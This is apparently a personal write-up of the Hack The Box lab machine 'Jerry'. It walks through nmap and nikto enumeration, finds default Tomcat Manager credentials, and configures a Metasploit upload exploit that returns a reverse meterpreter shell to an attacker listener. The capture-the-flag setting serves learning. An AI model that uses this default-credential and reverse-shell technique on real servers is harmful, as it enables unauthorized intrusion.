Jerry
· Matthew Crum
Creator: mrh4sh
Difficulty: Easy
Link: Jerry
Introduction
Jerry is fourth challenge and second vulnerable box in the Beginner Track on Hack The Box. The challenge involves using metasploit to execute an exploit that takes advantage of the fact that the Windows installer for Apache Tomcat used default login credentials in earlier versions.
Enumeration
My first step with any vulnerable machine is to enumerate for service versions using nmap.
Nmap –sV –sC –O <target_IP> >> nmap.txt && cat nmap.txt
This command tells nmap to scan the target IP for service versions and to test any default scripts it may be vulnerable to, along with attempting to identify the OS. It then outputs the results into a file called nmap.txt and then displays the contents of the file on screen using cat.
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-open-proxy: Proxy might be redirecting requests
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
The machine is hosting an Apache Tomcat/Coyote JSP engine 1.1 webserver on port 8080. The OS scan couldn’t say for sure but the machine is likely running on Windows.
What Didn’t Work
I had a good lesson here in not limitting myself to the first results of my enumeration, or at the very least my first takeaway from the results.
I used searchsploit to look for the version of apache tomcat I thought the machine was using based on the nmap scan results. This yielded 2 results, one of which was a python script. Since I know a little bit of python I decided to start here.
Using locate to search for the file path listed on searchsploit I was able to easily find this script already stored on my system..
Most python scripts utilize the -h or --help switch to display a menu that usually provides syntax for it’s usage.
The script is fairly simple to use it just requires the -u switch and target IP. Unfortunately this Webserver isn’t actually vulnerable to this exploit.
My guess is the machine isn’t actually running on version 7.0.88 of apache tomcat.
More Enumeration
If at first you don’t succeed enumerate some more.
One tool I like to use when enumerating a webserver is nikto
Taken from it’s repository
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.
nikto comes preinstalled on kali but a direct link to the repository is always handy.
The usage is pretty simple nikto -h <target_ip> does the trick. The -h switch tells nikto that the next line in the arguement will be the ip address to scan.
Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
OSVDB-397: HTTP method (‘Allow’ Header): ‘PUT’ method could allow clients to save files on the web server.
OSVDB-5646: HTTP method (‘Allow’ Header): ‘DELETE’ may allow clients to remove files on the web server.
Default account found for ‘Tomcat Manager Application’ at /manager/html (ID ‘tomcat’, PW ‘s3cret’). Apache Tomcat.
/host-manager/html: Default Tomcat Manager / Host Manager interface found
/manager/html: Tomcat Manager / Host Manager interface found (pass protected)
/manager/status: Tomcat Server Status interface found (pass protected)
Some key takeaways from this scan.
The webserver accepts all basic forms of http requests and clients are likely able to save and remove files from the webserver. In addition to that it runs something called Tomcat Manger Application with default credentials listed as user ID: tomcat and password: s3cret
earlier I told searchsploit to list vulnerablities related to apache tomcat 7.0.88 which would have missed any results related to tomcat manager which there were.
There are 3 exploits related to tomcat manager, one of which is related to uploading which thanks to nikto I know I’m able to do.
Metasploit
In the msfconsole I enter search tomcat manager to up a list of exploits related to it, there are several but the one I found on searchsploit that i’m looking for match 2 on my console so I enter use 2
Once the module loads up I enter show options to see what configurations the exploit needs to run and then set the appropriate ones.
set HttpPassword s3cret
set HttpUsername tomcat
set RHOST 10.10.10.95
set RPORT 8080
set LHOST 10.10.14.2
set LPORT 4444After changing configurations I always show options again just to verify everything is how I want it.
I then set up a listener to catch the shell the payload generated but that wasn’t necessary and actually caused an error the first time I ran the exploit.
Enter shell in the meterpreter grants access to the command line From there it was as simple as using various windows commands to navigate through the file system and find the flags. Even though nmap told me it was a Windows server earlier I still caught myself using Linux commands several times out of habbit.
The flags are found on the adminstrator users desktop in a directory called flags that contains a single file “2 for the price of 1.txt”. Since this is a windows machine the type command is what is used to read the file.
All that’s left to do is submit them on Hack The Box.
Final Thoughts
Another machine in the beginner track defeated with metasploit. I was hoping that the python script for the first exploit would work out so I didn’t have to use metasploit again but here we are. There is probably more than one way to break into this machine as tomcat manager had a XSS exploit associated with it as well as several other exploits on metasploit so perhaps it will be worth revisiting someday.